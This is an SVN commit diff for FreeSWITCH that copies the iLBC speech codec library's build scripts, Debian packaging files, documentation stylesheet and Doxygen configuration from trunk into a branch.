+	    | arm-*  | armbe-* | armle-* | armeb-* | armv*-* \
+	    | bfin-* \
+	    | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \
+	    | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \
+	    | xscale-* | xscalee[bl]-* )
+        AC_DEFINE([ILBC_USE_FIXED_POINT], [1], [Enable fixed point processing, where possible, instead of floating point])
+        ILBC_USE_FIXED_POINT="#define ILBC_USE_FIXED_POINT 1"
+        ;;
+    *)
+        ILBC_USE_FIXED_POINT="#undef ILBC_USE_FIXED_POINT"
+        ;;
+    esac
+fi
+
+AC_SUBST(CC_FOR_BUILD)
+AC_SUBST(COMP_VENDOR_CFLAGS)
+AC_SUBST(TESTLIBS)
+AC_SUBST(ILBC_USE_FIXED_POINT)
+AC_SUBST(INSERT_INTTYPES_HEADER)
+AC_SUBST(INSERT_STDINT_HEADER)
+AC_SUBST(INSERT_TGMATH_HEADER)
+AC_SUBST(INSERT_MATH_HEADER)
+
+AC_CONFIG_FILES([Makefile
+                 doc/Makefile
+                 localtests/Makefile
+                 src/Makefile
+                 src/ilbc.h
+                 tests/Makefile
+                 ilbc.spec])
+
+AC_OUTPUT
+
+# @end 1

Deleted: freeswitch/branches/seven/libs/ilbc/configure.gnu

Copied: freeswitch/branches/seven/libs/ilbc/configure.gnu (from rev 14471, freeswitch/trunk/libs/ilbc/configure.gnu) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/configure.gnu	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/configure.gnu	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+#! /bin/sh
+./configure "$@" --with-pic --disable-shared
+

Copied: freeswitch/branches/seven/libs/ilbc/debian (from rev 14471, freeswitch/trunk/libs/ilbc/debian)

Deleted: freeswitch/branches/seven/libs/ilbc/debian/changelog

Copied: freeswitch/branches/seven/libs/ilbc/debian/changelog (from rev 14471, freeswitch/trunk/libs/ilbc/debian/changelog) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/debian/changelog	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/debian/changelog	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+ilbc (0.0.1) unstable; urgency=low
+
+  [ Steve Underwood ]
+  * Begun
+
+ -- Steve Underwood <steveu@coppice.org>  Thu, 15 Feb 2008 09:53:06 +0300

Deleted: freeswitch/branches/seven/libs/ilbc/debian/compat

Copied: freeswitch/branches/seven/libs/ilbc/debian/compat (from rev 14471, freeswitch/trunk/libs/ilbc/debian/compat) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/debian/compat	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/debian/compat	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+4

Deleted: freeswitch/branches/seven/libs/ilbc/debian/control

Copied: freeswitch/branches/seven/libs/ilbc/debian/control (from rev 14471, freeswitch/trunk/libs/ilbc/debian/control) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/debian/control	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/debian/control	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,35 @@
+Source: ilbc
+Section: libs
+Priority: optional
+Maintainer: Debian VoIP Team <pkg-voip-maintainers@lists.alioth.debian.org>
+Uploaders: Jose Carlos Garcia Sogo <jsogo@debian.org>, Kilian Krause <kilian@debian.org>, Santiago Garcia Mantinan <manty@debian.org>, Mark Purcell <msp@debian.org>, Tzafrir Cohen <tzafrir.cohen@xorcom.com>, Santiago Ruano Rincón <santiago@debian.org>
+Build-Depends: debhelper (>= 4.0.0), dpatch, doxygen, autotools-dev
+Standards-Version: 3.7.2
+XS-Vcs-Svn: svn://svn.debian.org/pkg-voip/
+XS-Vcs-Browser: http://svn.debian.org/wsvn/pkg-voip/
+
+Package: libilbc
+Architecture: any
+Depends: ${shlibs:Depends}
+Conflicts: libilbc0, libilbc1, libilbc2
+Description: Telephony signal processing library
+ This package contains the iLBC low bit rate speech codec.
+ .
+ This package contains the shared library.
+
+Package: libilbc-dev
+Section: libdevel
+Architecture: any
+Depends: libilbc3 (= ${Source-Version})
+Description: Telephony signal processing library
+ This package contains the iLBC low bit rate speech codec.
+ .
+ This package contains the static library and development headers.
+ .
+ Homepage: http://www.soft-switch.org/
+
+Package: libilbc-doc
+Section: doc
+Architecture: all
+Description: Documentation for the ilbc signal processing library
+ This package contains the iLBC low bit rate speech codec.

Deleted: freeswitch/branches/seven/libs/ilbc/debian/copyright

Copied: freeswitch/branches/seven/libs/ilbc/debian/copyright (from rev 14471, freeswitch/trunk/libs/ilbc/debian/copyright) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/debian/copyright	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/debian/copyright	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+This package was debianized by Steve Underwood <steveu@coppice.org> on
+Thu, 15 Feb 2008 15:22:58 +0100.
+
+It was downloaded from http://soft-switch.org/downloads/voipcodecs/
+
+Copyright: The Internet Society and Steve Underwood <steveu@coppice.org>
+
+License:
+
+Global IP Sound iLBC Public License, v2.0

Deleted: freeswitch/branches/seven/libs/ilbc/debian/libilbc-dev.install

Copied: freeswitch/branches/seven/libs/ilbc/debian/libilbc-dev.install (from rev 14471, freeswitch/trunk/libs/ilbc/debian/libilbc-dev.install) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/debian/libilbc-dev.install	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/debian/libilbc-dev.install	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+debian/tmp/usr/include
+debian/tmp/usr/lib/libilbc.so
+debian/tmp/usr/lib/libilbc.la
+debian/tmp/usr/lib/libilbc.a

Deleted: freeswitch/branches/seven/libs/ilbc/debian/libilbc-doc.install

Copied: freeswitch/branches/seven/libs/ilbc/debian/libilbc-doc.install (from rev 14471, freeswitch/trunk/libs/ilbc/debian/libilbc-doc.install) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/debian/libilbc-doc.install	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/debian/libilbc-doc.install	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+doc/api/html usr/share/doc/libilbc-doc/api/

Deleted: freeswitch/branches/seven/libs/ilbc/debian/libilbc.install

Copied: freeswitch/branches/seven/libs/ilbc/debian/libilbc.install (from rev 14471, freeswitch/trunk/libs/ilbc/debian/libilbc.install) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/debian/libilbc.install	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/debian/libilbc.install	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+debian/tmp/usr/lib/libilbc.so.0.*
+debian/tmp/usr/lib/libilbc.so.0

Deleted: freeswitch/branches/seven/libs/ilbc/debian/rules

Copied: freeswitch/branches/seven/libs/ilbc/debian/rules (from rev 14471, freeswitch/trunk/libs/ilbc/debian/rules) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/debian/rules	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/debian/rules	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,106 @@
+#!/usr/bin/make -f
+
+# Uncomment this to turn on verbose mode.
+#export DH_VERBOSE=1
+
+DEB_HOST_GNU_TYPE   ?= $(shell dpkg-architecture -qDEB_HOST_GNU_TYPE)
+DEB_BUILD_GNU_TYPE  ?= $(shell dpkg-architecture -qDEB_BUILD_GNU_TYPE)
+
+DEBVERSION:=$(shell head -n 1 debian/changelog \
+		    | sed -e 's/^[^(]*(\([^)]*\)).*/\1/')
+ORIGTARVER:=$(shell echo $(DEBVERSION) | sed -e 's/^.*://' -e 's/-[0-9.]*$$//')# -e 's/.dfsg$$//' -e 's/~//')
+
+UPVERSION:=$(shell echo $(ORIGTARVER) | tr -d '~')
+
+FILENAME := ilbc_$(ORIGTARVER).orig.tar.gz
+FULLNAME := ilbc-$(UPVERSION)
+URL := http://soft-switch.org/downloads/voipcodecs/ilbc-$(UPVERSION).tgz
+
+CFLAGS = -Wall -g
+
+ifneq (,$(findstring noopt,$(DEB_BUILD_OPTIONS)))
+	CFLAGS += -O0
+else
+	CFLAGS += -O2
+endif
+
+include /usr/share/dpatch/dpatch.make
+
+
+autotools: patch-stamp
+	ln -s /usr/share/misc/config.sub config.sub
+	ln -s /usr/share/misc/config.guess config.guess
+	touch autotools
+
+config.status: autotools configure
+	dh_testdir
+	CFLAGS="$(CFLAGS)" ./configure \
+	  --host=$(DEB_HOST_GNU_TYPE) \
+	  --build=$(DEB_BUILD_GNU_TYPE) \
+	  --prefix=/usr \
+	  --mandir=\$${prefix}/share/man \
+	  --infodir=\$${prefix}/share/info \
+	  --enable-doc
+
+build: build-stamp
+
+build-stamp:  config.status
+	dh_testdir
+	$(MAKE)
+	touch build-stamp
+
+clean: clean-patched unpatch
+clean-patched:
+	dh_testdir
+	dh_testroot
+	rm -f build-stamp autotools
+	-$(MAKE) distclean
+
+	-$(RM) -f config.sub
+	-$(RM) -f config.guess
+
+	dh_clean 
+
+install: build-stamp
+	dh_testdir
+	dh_testroot
+	dh_clean -k 
+	$(MAKE) install DESTDIR=$(CURDIR)/debian/tmp
+
+binary-indep: build-stamp install
+	dh_testdir -i
+	dh_testroot -i
+	dh_installchangelogs -i ChangeLog
+	dh_installdocs -i DueDiligence
+	dh_install -i
+	dh_compress -i
+	dh_fixperms -i
+	dh_installdeb -i
+	dh_gencontrol -i
+	dh_md5sums -i
+	dh_builddeb -i
+
+binary-arch: build-stamp install
+	dh_testdir -a
+	dh_testroot -a
+	dh_installchangelogs -a ChangeLog
+	dh_installdocs -a DueDiligence
+	dh_install -a
+	dh_strip -a
+	dh_compress -a
+	dh_fixperms -a
+	dh_makeshlibs -a
+	dh_installdeb -a
+	dh_shlibdeps -a
+	dh_gencontrol -a
+	dh_md5sums -a
+	dh_builddeb -a
+
+get-orig-source:
+	-@@dh_testdir
+	@@[ -d ../tarballs/. ]||mkdir -p ../tarballs
+	@@echo Downloading $(FILENAME) from $(URL) ...
+	@@wget -N -nv -T10 -t3 -O ../tarballs/$(FILENAME) $(URL)
+
+binary: binary-indep binary-arch
+.PHONY: build clean binary-indep binary-arch binary install patch unpatch

Deleted: freeswitch/branches/seven/libs/ilbc/debian/watch

Copied: freeswitch/branches/seven/libs/ilbc/debian/watch (from rev 14471, freeswitch/trunk/libs/ilbc/debian/watch) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/debian/watch	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/debian/watch	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,7 @@
+# See uscan(1) for format
+
+# Compulsory line, this is a version 3 file
+version=3
+
+# <Webpage URL> <string match>
+http://soft-switch.org/downloads/voipcodecs/ ilbc-(.*)\.tgz debian svn-upgrade

Copied: freeswitch/branches/seven/libs/ilbc/doc (from rev 14471, freeswitch/trunk/libs/ilbc/doc)

Property changes: freeswitch/branches/seven/libs/ilbc/doc


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/ilbc/doc/Makefile.am

Copied: freeswitch/branches/seven/libs/ilbc/doc/Makefile.am (from rev 14471, freeswitch/trunk/libs/ilbc/doc/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/doc/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/doc/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,29 @@
+##
+## iLBC - a library for the iLBC codec
+##
+## Makefile.am -- Process this file with automake to produce Makefile.in
+##
+## This program is free software; you can redistribute it and/or modify
+## it under the terms of the GNU General Public License version 2, as
+## published by the Free Software Foundation.
+##
+## This program is distributed in the hope that it will be useful,
+## but WITHOUT ANY WARRANTY; without even the implied warranty of
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+## GNU General Public License for more details.
+##
+## You should have received a copy of the GNU General Public License
+## along with this program; if not, write to the Free Software
+## Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+##
+## $Id: Makefile.am,v 1.1.1.1 2008/02/15 12:15:55 steveu Exp $
+
+MAINTAINERCLEANFILES = Makefile.in
+
+EXTRA_DIST = css.css \
+             wrapper.xsl
+
+all: doxydocs
+
+doxydocs:
+	doxygen libilbc-doxygen

Deleted: freeswitch/branches/seven/libs/ilbc/doc/css.css

Copied: freeswitch/branches/seven/libs/ilbc/doc/css.css (from rev 14471, freeswitch/trunk/libs/ilbc/doc/css.css) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/doc/css.css	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/doc/css.css	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,564 @@
+body {
+	background-image: url("../images/weave.jpg");
+	font-family: Verdana, Arial, Helvetica, Sans-serif;
+	color: black;
+	margin-right: 20px;
+	margin-left: 20px;
+}
+
+h1 {
+	text-align: center;
+}
+
+h2 {
+	font-family: Verdana, Arial, Helvetica, Sans-serif;
+	border-color: #c00000;
+	color : black;
+	margin-top: 0.8em;
+	border-style: solid;
+	border-width: 0px 0px 3px 0.5em;
+	line-height : 130%;
+}
+
+h3 {
+	font-family: Verdana, Arial, Helvetica, Sans-serif;
+	border-color: #f02020;
+	color : black;
+	border-width: 0px 0px 2px 0.5em;
+	border-style: solid;
+	margin-right: 20%;
+	line-height : 130%;
+}
+caption {
+	font-weight: bold
+}
+a.qindex {}
+a.qindexRef {}
+a.el {
+	text-decoration: none;
+	font-weight: bold
+}
+a.elRef {
+	font-weight: bold
+}
+a.code {
+	text-decoration: none;
+	font-weight: normal;
+	color: #4444ee
+}
+a.codeRef {
+	font-weight: normal;
+	color: #4444ee
+}
+a:hover {
+	text-decoration: none;
+	background-color: #f2f2ff
+}
+dl.el {
+	margin-left: -1cm
+}
+div.fragment {
+	width: 100%;
+	border: none;
+	background-color: #eeeeee
+}
+div.ah {
+	background-color: black;
+	font-weight: bold;
+	color: #ffffff;
+	margin-bottom: 3px;
+	margin-top: 3px
+}
+
+td {
+	font-family: Verdana, Arial, Helvetica, Sans-serif;
+	font-weight: bold;
+}
+
+.navheader {
+	font-family: Verdana, Arial, Helvetica, Sans-serif;
+	background-color: #B2B2ff;
+	font-weight: bold;
+}
+
+.navfooter {
+	font-family: Verdana, Arial, Helvetica, Sans-serif;
+	background-color: #B2B2ff;
+	font-weight: bold;
+}
+
+table.menu {
+	background-color: #000066;
+	font-weight: bold;
+	text-align: center;
+	width: 100%; 
+}
+
+tr.menu {
+	background-color: #ccffff;
+	font-weight: bold;
+	text-align: center;
+}
+td.menu {
+	background-color: #f2e0d0;
+	font-weight: bold;
+	text-align: center;
+}
+
+td.md {
+	background-color: #f2f2ff;
+	font-weight: bold;
+}
+td.mdname1 {
+	background-color: #f2f2ff;
+	font-weight: bold;
+	color: #602020;
+}
+td.mdname {
+	background-color: #f2f2ff;
+	font-weight: bold;
+	color: #602020;
+	width: 600px;
+}
+div.groupHeader {
+	margin-left: 16px;
+	margin-top: 12px;
+	margin-bottom: 6px;
+	font-weight: bold
+}
+div.groupText {
+	margin-left: 16px;
+	font-style: italic;
+	font-size: smaller
+}
+td.indexkey { 
+	font-family: Verdana, Arial, Helvetica, Sans-serif;
+	background-color: #eeeeff; 
+	font-weight: bold; 
+	padding-right  : 10px; 
+	padding-top    : 2px; 
+	padding-left   : 10px; 
+	padding-bottom : 2px; 
+	margin-left    : 0px; 
+	margin-right   : 0px; 
+	margin-top     : 2px; 
+	margin-bottom  : 2px  
+}
+td.indexvalue { 
+	font-family: Verdana, Arial, Helvetica, Sans-serif;
+	background-color: #eeeeff; 
+	font-style: italic; 
+	padding-right  : 10px; 
+	padding-top    : 2px; 
+	padding-left   : 10px; 
+	padding-bottom : 2px; 
+	margin-left    : 0px; 
+	margin-right   : 0px; 
+	margin-top     : 2px; 
+	margin-bottom  : 2px  
+}
+span.keyword {
+	color: #008000
+}
+span.keywordtype {
+	color: #604020
+}
+span.keywordflow {
+	color: #e08000
+}
+span.comment {
+	color: #800000
+}
+span.preprocessor {
+	color: #806020
+}
+span.stringliteral {
+	color: #002080
+}
+span.charliteral {
+	color: #008080
+}
+em {
+	color: #990000;
+	background-color: transparent;
+}
+h1,h2,h3,h4,h5,h6,p,center,td,th,ul,dl,div {
+	font-family: Geneva, Arial, Helvetica, sans-serif;
+}
+body,td {
+	font-size: 90%;
+}
+h1 {
+	text-align: center;
+	font-size: 160%;
+}
+h2 {
+	font-size: 120%;
+}
+h3 {
+	font-size: 100%;
+}
+caption {
+	font-weight: bold
+}
+div.qindex {
+	width: 100%;
+	background-color: #eeeeff;
+	border: 1px solid #b0b0b0;
+	text-align: center;
+	margin: 2px;
+	padding: 2px;
+	line-height: 140%;
+}
+div.nav {
+	width: 100%;
+	background-color: #eeeeff;
+	border: 1px solid #b0b0b0;
+	text-align: center;
+	margin: 2px;
+	padding: 2px;
+	line-height: 140%;
+}
+div.navtab {
+	background-color: #eeeeff;
+	border: 1px solid #b0b0b0;
+	text-align: center;
+	margin: 2px;
+	margin-right: 15px;
+	padding: 2px;
+}
+td.navtab {
+	font-size: 70%;
+}
+a.qindex {
+	text-decoration: none;
+	font-weight: bold;
+	color: #1a419d;
+}
+a.qindex:visited {
+	text-decoration: none;
+	font-weight: bold;
+	color: #1a419d
+}
+a.qindex:hover {
+	text-decoration: none;
+	background-color: #ddddff;
+}
+a.qindexHL {
+	text-decoration: none;
+	font-weight: bold;
+	background-color: #6666cc;
+	color: #ffffff;
+	border: 1px double #9295C2;
+}
+a.qindexHL:hover {
+	text-decoration: none;
+	background-color: #6666cc;
+	color: #ffffff;
+}
+a.qindexHL:visited {
+	text-decoration: none;
+	background-color: #6666cc;
+	color: #ffffff
+}
+a.el {
+	text-decoration: none;
+	font-weight: bold
+}
+a.elRef {
+	font-weight: bold
+}
+a.code:link {
+	text-decoration: none;
+	font-weight: normal;
+	color: #0000FF
+}
+a.code:visited {
+	text-decoration: none;
+	font-weight: normal;
+	color: #0000FF
+}
+a.codeRef:link {
+	font-weight: normal;
+	color: #0000FF
+}
+a.codeRef:visited {
+	font-weight: normal;
+	color: #0000FF
+}
+a:hover {
+	text-decoration: none;
+	background-color: #f2f2ff
+}
+dl.el {
+	margin-left: -1cm
+}
+.fragment {
+	font-family: Fixed, monospace;
+	font-size: 95%;
+}
+pre.fragment {
+	border: 1px solid #CCCCCC;
+	background-color: #f5f5f5;
+	margin-top: 4px;
+	margin-bottom: 4px;
+	margin-left: 2px;
+	margin-right: 8px;
+	padding-left: 6px;
+	padding-right: 6px;
+	padding-top: 4px;
+	padding-bottom: 4px;
+}
+div.ah {
+	background-color: black;
+	font-weight: bold;
+	color: #ffffff;
+	margin-bottom: 3px;
+	margin-top: 3px
+}
+td.md {
+	background-color: #F4F4FB;
+	font-weight: bold;
+}
+td.mdPrefix {
+	background-color: #F4F4FB;
+	color: #606060;
+	font-size: 80%;
+}
+td.mdname1 {
+	background-color: #F4F4FB;
+	font-weight: bold;
+	color: #602020;
+}
+td.mdname {
+	background-color: #F4F4FB;
+	font-weight: bold;
+	color: #602020;
+	width: 600px;
+}
+div.groupHeader {
+	margin-left: 16px;
+	margin-top: 12px;
+	margin-bottom: 6px;
+	font-weight: bold;
+}
+div.groupText {
+	margin-left: 16px;
+	font-style: italic;
+	font-size: 90%
+}
+td.indexkey {
+	background-color: #eeeeff;
+	font-weight: bold;
+	padding-right  : 10px;
+	padding-top    : 2px;
+	padding-left   : 10px;
+	padding-bottom : 2px;
+	margin-left    : 0px;
+	margin-right   : 0px;
+	margin-top     : 2px;
+	margin-bottom  : 2px;
+	border: 1px solid #CCCCCC;
+}
+td.indexvalue {
+	background-color: #eeeeff;
+	font-style: italic;
+	padding-right  : 10px;
+	padding-top    : 2px;
+	padding-left   : 10px;
+	padding-bottom : 2px;
+	margin-left    : 0px;
+	margin-right   : 0px;
+	margin-top     : 2px;
+	margin-bottom  : 2px;
+	border: 1px solid #CCCCCC;
+}
+tr.memlist {
+	background-color: #f0f0f0; 
+}
+p.formulaDsp {
+	text-align: center;
+}
+img.formulaDsp {
+}
+img.formulaInl {
+	vertical-align: middle; 
+}
+span.keyword {
+	color: #008000
+}
+span.keywordtype {
+	color: #604020
+}
+span.keywordflow {
+	color: #e08000
+}
+span.comment {
+	color: #800000
+}
+span.preprocessor  {
+	color: #806020
+}
+span.stringliteral {
+	color: #002080
+}
+span.charliteral {
+	color: #008080
+}
+.mdTable {
+	border: 1px solid #868686;
+	background-color: #F4F4FB;
+}
+.mdRow {
+	padding: 8px 10px;
+}
+.mdescLeft {
+	padding: 0px 8px 4px 8px;
+	font-size: 80%;
+	font-style: italic;
+	background-color: #FAFAFA;
+	border-top: 1px none #E0E0E0;
+	border-right: 1px none #E0E0E0;
+	border-bottom: 1px none #E0E0E0;
+	border-left: 1px none #E0E0E0;
+	margin: 0px;
+}
+.mdescRight {
+	padding: 0px 8px 4px 8px;
+	font-size: 80%;
+	font-style: italic;
+	background-color: #FAFAFA;
+	border-top: 1px none #E0E0E0;
+	border-right: 1px none #E0E0E0;
+	border-bottom: 1px none #E0E0E0;
+	border-left: 1px none #E0E0E0;
+	margin: 0px;
+}
+.memItemLeft {
+	padding: 1px 0px 0px 8px;
+	margin: 4px;
+	border-top-width: 1px;
+	border-right-width: 1px;
+	border-bottom-width: 1px;
+	border-left-width: 1px;
+	border-top-color: #E0E0E0;
+	border-right-color: #E0E0E0;
+	border-bottom-color: #E0E0E0;
+	border-left-color: #E0E0E0;
+	border-top-style: solid;
+	border-right-style: none;
+	border-bottom-style: none;
+	border-left-style: none;
+	background-color: #FAFAFA;
+	font-size: 80%;
+}
+.memItemRight {
+	padding: 1px 8px 0px 8px;
+	margin: 4px;
+	border-top-width: 1px;
+	border-right-width: 1px;
+	border-bottom-width: 1px;
+	border-left-width: 1px;
+	border-top-color: #E0E0E0;
+	border-right-color: #E0E0E0;
+	border-bottom-color: #E0E0E0;
+	border-left-color: #E0E0E0;
+	border-top-style: solid;
+	border-right-style: none;
+	border-bottom-style: none;
+	border-left-style: none;
+	background-color: #FAFAFA;
+	font-size: 80%;
+}
+.memTemplItemLeft {
+	padding: 1px 0px 0px 8px;
+	margin: 4px;
+	border-top-width: 1px;
+	border-right-width: 1px;
+	border-bottom-width: 1px;
+	border-left-width: 1px;
+	border-top-color: #E0E0E0;
+	border-right-color: #E0E0E0;
+	border-bottom-color: #E0E0E0;
+	border-left-color: #E0E0E0;
+	border-top-style: none;
+	border-right-style: none;
+	border-bottom-style: none;
+	border-left-style: none;
+	background-color: #FAFAFA;
+	font-size: 80%;
+}
+.memTemplItemRight {
+	padding: 1px 8px 0px 8px;
+	margin: 4px;
+	border-top-width: 1px;
+	border-right-width: 1px;
+	border-bottom-width: 1px;
+	border-left-width: 1px;
+	border-top-color: #E0E0E0;
+	border-right-color: #E0E0E0;
+	border-bottom-color: #E0E0E0;
+	border-left-color: #E0E0E0;
+	border-top-style: none;
+	border-right-style: none;
+	border-bottom-style: none;
+	border-left-style: none;
+	background-color: #FAFAFA;
+	font-size: 80%;
+}
+.memTemplParams {
+	padding: 1px 0px 0px 8px;
+	margin: 4px;
+	border-top-width: 1px;
+	border-right-width: 1px;
+	border-bottom-width: 1px;
+	border-left-width: 1px;
+	border-top-color: #E0E0E0;
+	border-right-color: #E0E0E0;
+	border-bottom-color: #E0E0E0;
+	border-left-color: #E0E0E0;
+	border-top-style: solid;
+	border-right-style: none;
+	border-bottom-style: none;
+	border-left-style: none;
+	color: #606060;
+	background-color: #FAFAFA;
+	font-size: 80%;
+}
+.search {
+	color: #003399;
+	font-weight: bold;
+}
+form.search {
+	margin-bottom: 0px;
+	margin-top: 0px;
+}
+input.search {
+	font-size: 75%;
+	color: #000080;
+	font-weight: normal;
+	background-color: #eeeeff;
+}
+td.tiny {
+	font-size: 75%;
+}
+a {
+	color: #252e78;
+}
+a:visited {
+	color: #3d2185;
+}
+.dirtab {
+	padding: 4px;
+	border-collapse: collapse;
+	border: 1px solid #b0b0b0;
+}
+th.dirtab {
+	background: #eeeeff;
+	font-weight: bold;
+}
+hr {
+	height: 1px;
+	border: none;
+	border-top: 1px solid black;
+}

Deleted: freeswitch/branches/seven/libs/ilbc/doc/libilbc-doxygen

Copied: freeswitch/branches/seven/libs/ilbc/doc/libilbc-doxygen (from rev 14471, freeswitch/trunk/libs/ilbc/doc/libilbc-doxygen) (0 => 14472)


--- freeswitch/branches/seven/libs/ilbc/doc/libilbc-doxygen	                        (rev 0)
+++ freeswitch/branches/seven/libs/ilbc/doc/libilbc-doxygen	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1229 @@
+# Doxyfile 1.4.4
+
+# This file describes the settings to be used by the documentation system
+# doxygen (www.doxygen.org) for a project
+#
+# All text after a hash (#) is considered a comment and will be ignored
+# The format is:
+#       TAG = value [value, ...]
+# For lists items can also be appended using:
+#       TAG += value [value, ...]
+# Values that contain spaces should be placed between quotes (" ")
+
+#---------------------------------------------------------------------------
+# Project related configuration options
+#---------------------------------------------------------------------------
+
+# The PROJECT_NAME tag is a single word (or a sequence of words surrounded 
+# by quotes) that should identify the project.
+
+PROJECT_NAME           = libvoipcodecs
+
+# The PROJECT_NUMBER tag can be used to enter a project or revision number. 
+# This could be handy for archiving the generated documentation or 
+# if some version control system is used.
+
+PROJECT_NUMBER         = 0.0.1
+
+# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) 
+# base path where the generated documentation will be put. 
+# If a relative path is entered, it will be relative to the location 
+# where doxygen was started. If left blank the current directory will be used.
+
+OUTPUT_DIRECTORY       = api
+
+# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create 
+# 4096 sub-directories (in 2 levels) under the output directory of each output 
+# format and will distribute the generated files over these directories. 
+# Enabling this option can be useful when feeding doxygen a huge amount of 
+# source files, where putting all generated files in the same directory would 
+# otherwise cause performance problems for the file system.
+
+CREATE_SUBDIRS         = NO
+
+# The OUTPUT_LANGUAGE tag is used to specify the language in which all 
+# documentation generated by doxygen is written. Doxygen will use this 
+# information to generate all constant output in the proper language. 
+# The default language is English, other supported languages are: 
+# Brazilian, Catalan, Chinese, Chinese-Traditional, Croatian, Czech, Danish, 
+# Dutch, Finnish, French, German, Greek, Hungarian, Italian, Japanese, 
+# Japanese-en (Japanese with English messages), Korean, Korean-en, Norwegian, 
+# Polish, Portuguese, Romanian, Russian, Serbian, Slovak, Slovene, Spanish, 
+# Swedish, and Ukrainian.
+
+OUTPUT_LANGUAGE        = English
+
+# This tag can be used to specify the encoding used in the generated output. 
+# The encoding is not always determined by the language that is chosen, 
+# but also whether or not the output is meant for Windows or non-Windows users. 
+# In case there is a difference, setting the USE_WINDOWS_ENCODING tag to YES 
+# forces the Windows encoding (this is the default for the Windows binary), 
+# whereas setting the tag to NO uses a Unix-style encoding (the default for 
+# all platforms other than Windows).
+
+USE_WINDOWS_ENCODING   = YES
+
+# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will 
+# include brief member descriptions after the members that are listed in 
+# the file and class documentation (similar to JavaDoc). 
+# Set to NO to disable this.
+
+BRIEF_MEMBER_DESC      = YES
+
+# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend 
+# the brief description of a member or function before the detailed description. 
+# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the 
+# brief descriptions will be completely suppressed.
+
+REPEAT_BRIEF           = YES
+
+# This tag implements a quasi-intelligent brief description abbreviator 
+# that is used to form the text in various listings. Each string 
+# in this list, if found as the leading text of the brief description, will be 
+# stripped from the text and the result after processing the whole list, is 
+# used as the annotated text. Otherwise, the brief description is used as-is. 
+# If left blank, the following values are used ("$name" is automatically 
+# replaced with the name of the entity): "The $name class" "The $name widget" 
+# "The $name file" "is" "provides" "specifies" "contains" 
+# "represents" "a" "an" "the"
+
+ABBREVIATE_BRIEF       = 
+
+# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then 
+# Doxygen will generate a detailed section even if there is only a brief 
+# description.
+
+ALWAYS_DETAILED_SEC    = NO
+
+# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all 
+# inherited members of a class in the documentation of that class as if those 
+# members were ordinary class members. Constructors, destructors and assignment 
+# operators of the base classes will not be shown.
+
+INLINE_INHERITED_MEMB  = NO
+
+# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full 
+# path before files name in the file list and in the header files. If set 
+# to NO the shortest path that makes the file name unique will be used.
+
+FULL_PATH_NAMES        = NO
+
+# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag 
+# can be used to strip a user-defined part of the path. Stripping is 
+# only done if one of the specified strings matches the left-hand part of 
+# the path. The tag can be used to show relative paths in the file list. 
+# If left blank the directory from which doxygen is run is used as the 
+# path to strip.
+
+STRIP_FROM_PATH        = 
+
+# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of 
+# the path mentioned in the documentation of a class, which tells 
+# the reader which header file to include in order to use a class. 
+# If left blank only the name of the header file containing the class 
+# definition is used. Otherwise one should specify the include paths that 
+# are normally passed to the compiler using the -I flag.
+
+STRIP_FROM_INC_PATH    = 
+
+# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter 
+# (but less readable) file names. This can be useful is your file systems 
+# doesn't support long names like on DOS, Mac, or CD-ROM.
+
+SHORT_NAMES            = NO
+
